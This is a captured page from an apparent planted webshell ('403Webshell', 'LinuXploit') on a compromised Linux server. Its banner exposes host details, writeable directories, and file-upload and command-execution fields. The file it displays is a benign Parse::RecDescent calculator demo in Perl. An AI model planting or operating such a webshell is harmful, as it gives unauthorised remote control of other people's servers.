403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/doc/libparse-recdescent-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/doc/libparse-recdescent-perl/examples/demo_precalc.pl
#!/usr/bin/perl -ws

BEGIN
{
	unless (-f "Calc.pm")
	{
		print "You first need to build Calc.pm.\n\n",
		       "Try: perl -MParse::RecDescent - calc_grammar Calc\n",
		       " or: demo_buildcalc.pl\n\n";
		exit;
	}
}

use Parse::RecDescent;
use Calc;

sub evalop
{
	# my (@list) = @{[@{$_[0]}]};
	my (@list) = @{$_[0]};
	my $val = shift(@list)->();
	while (@list)
	{
		my ($op, $arg2) = splice @list, 0, 2;
		$op->($val,$arg2->());
	}
	return $val;
}

my $parse = Calc->new() or die "bad grammar";

print "> ";
while (<DATA>) {	# FOR DEMO CHANGE TO: while (<DATA>)
  print $parse->main($_), "\n\n> ";
}

__DATA__
$x = 2
$y = 3
+1-1+1-1+1-1+1-1+1
7*7-6*8
121/(121/11)/121*11
1/(10-1/(1/(10-1)))
$x * $y
foreach $i (1..$y) $x = $x * 2 + $i
$x

Youez - 2016 - github.com/yon3zu
LinuXploit